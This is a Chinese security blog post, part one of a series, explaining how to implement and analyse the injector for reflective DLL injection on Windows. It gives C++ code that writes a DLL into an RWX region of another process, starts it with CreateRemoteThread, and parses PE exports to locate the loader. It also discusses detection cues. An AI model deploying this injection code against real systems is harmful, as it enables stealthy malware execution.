查看原文
其他

常见进程注入的实现及内存dump分析——反射式DLL注入(上)

2018-01-23 sudozhange 看雪学院


前言


在上一篇文章《常见进程注入的实现及内存dump分析——经典DLL注入》中,介绍了经典DLL注入,虽然简单,但是是注入的基本原理,在上篇文章中没有提到的是:32位的注入程序要注入32位的进程中,不要试图注入64位进程,这种注入确实是可以实现,但是很麻烦,所以就放到最后去学习。


由于反射式DLL比较复杂,这篇文章只是注射器的实现和分析,源码参考自GitHub,同样,会在文章末尾贴上地址。


反射式DLL我理解就是让DLL自身不使用LoadLibraryA函数,将自身映射到目标进程内存中。



环境


  • OS:Windows 10 PRO 1709

  • IDE:Visual Studio 2015 Community

  • 语言:Visual C++



Dropper:注射器的实现


原理:


这里只说注射器实现的功能:在目标进程开辟空间,将Payload写到开辟的空间去,最后调用DLL中的反射加载函数。


实现:

   

前期实现就不多说,包括:获取目标进程PID,提升当前进程权限,在上一篇文章中已经给出了代码。


  • 在当前进程中开辟缓冲区,将Payload DLL复制到开辟的空间去,这里说明下,DLL文件可以不一定是本地文件,可来自网络等,总之将数据写到缓冲区即可。

LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);//创建缓冲区
if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == false)//将DLL数据复制到缓冲区
    BreakForError("Failed to read the DLL file");


  • 打开目标进程

HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);


  • 实现自己写的“LoadLibraryA”函数。(并非真的实现,具体实现是在DLL中,这里只是将DLL写到目标进程,并创建远程线程)。

HANDLE hMoudle = LoadRemoteLibraryR(hTargetProcess, lpBuffer, dwLength, NULL);


  • LoadRemoteLibraryR的实现:

    1. 获取DLL中反射加载器函数的地址。

    2. 在目标进程中分配内存,将DLL写入缓冲区。

    3. 创建远程线程。


//获取加载器的地址(文件偏移)
DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
//在目标进程分配内存(RWX)
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
//写数据
WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL);
//线程函数的地址=基地址+文件偏移
LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
 
//创建远程线程
hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId);


  • 先不看第一行,根据注释,我们知道第一行获取的是DLL中反射加载函数在文件中的偏移,由于这种注入没有使用LoadLibraryA函数,所以DLL在内存中的状态和在磁盘中的状态是相同的,要想调用函数,我们就需要找到文件偏移,这就是第一样的作用。获取到函数的文件偏移后,就可以得到线程函数的地址,线程函数的地址就是文件的偏移+缓冲区的地址。由于开辟的空间是可读可写可执行的权限,指令的执行依靠的是机器码,所以,使用CreateRemoteThread函数,即可调用线程函数,执行代码。


  • 在代码的第一行,我们可以看到有个自定义的GetReflectiveLoaderOffset函数,我认为,整个注射器的核心就在这里,下面,将会具体描述该函数的实现。


  • GetReflectiveLoaderOffset,该函数其实就是获取DLL中反射加载函数的地址,实现:简单说,就是一解析PE头的过程。我们先要清楚一个事情:PE结构文件中保存的地址都是RVA(相对虚拟地址)。在附件中,我会上传一张PE结构图(之前论坛中有大神发过,但是我找到的不是很清晰)。


获取函数地址步骤如下:


  1. 得到PE头的地址。

  2. 得到导出函数表结构体指针的地址。

  3. 获取导出表结构体的内存地址(RVA)。

  4. 找到导出表名称数组在内存中的地址(RVA)。

  5. 获取导出函数地址表在内存中的地址(RVA)。

  6. 获取导出函数序号表在内存中的地址(RVA)。

  7. 通过导出函数名来获取导出函数地址(RVA)。



//基址->在Dropper进程中开辟的堆空间的起始地址
UINT_PTR uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
//得到NT头的文件地址
UINT_PTR uiExportDir = (UINT_PTR)uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
//获得导出表结构体指针的地址
UINT_PTR uiNameArray = (UINT_PTR)&(((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址
//结果为找到到导出表结构体的内存地址
uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);
//得到导出表名称数组在内存中的地址RVA
uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);
//得到导出函数地址表在内存中的地址RVA
UINT_PTR uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);
//得到函数序号地址表在内存中的地址
UINT_PTR uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);
//导出函数的数量
DWORD dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;
while (dwCounter--)
{
    //这里需要将获取到的各表的RVA转化为各表实际的文件偏移
    char *cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset((*(DWORD*)uiNameArray), uiBaseAddress));
    if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL)
    {
        //获取地址表起始地址的实际位置
        uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);
        //根据序号找到序号对应的函数地址
        uiAddressArray += (*(WORD*)(uiNameOrdinals) * sizeof(DWORD));
        // 返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址
        return Rva2Offset((*(DWORD*)uiAddressArray), uiBaseAddress);
    }
    uiNameArray += sizeof(DWORD);
    uiNameOrdinals += sizeof(WORD);
}


  • 在上面的函数中,有个Rva2Offset,功能是将RVA地址转化为文件偏移,实现如下:

DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
{
    //得到nt头在内存中的实际地址
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
    //获得节表
    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
    //不在任意块内
    if (dwRva < pSectionHeader[0].PointerToRawData)
        return dwRva;
    //通过遍历块,来找到相对偏移地址对应的文件偏移地址
    for (WORD wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)
    {
        if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
            return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
            //\------------------块内偏移-------------------/    \-----------块在文件中的偏移------------/
    }
}




分析


回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。


优点:没有使用获取LoadLibraryA函数。


GetReflectiveLoaderOffset  F5后的代码


从图中可以看到,有大量调用同一个函数的情况,并且有字符串比较。


Rva2Offset F5后的代码


这张图中,具有特征性的应该就是这些数字了,如果根据之前的想法,怀疑这是个反射式DLL注射,进入到这个函数的时候,可以去思考这是不是在解析PE文件。当然,如果动态跟踪的话,及时查看内存,也可以分辨的出来。



最后


GitHub地址:https://github.com/SudoZhange/ProcessInjection



参考


  • 《Windows PE权威指南》

  • Hunting In Memory

  • 源码参考:https://github.com/stephenfewer/ReflectiveDLLInjection

  • *测试时使用的DLL为该源码编译的DLL。





本文由看雪论坛 sudozhange 原创

转载请注明来自看雪社区



热门阅读


点击阅读原文/read,

更多干货等着你~



62 32426 62 20214 0 0 8616 0 0:00:03 0:00:02 0:00:01 8616v>

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存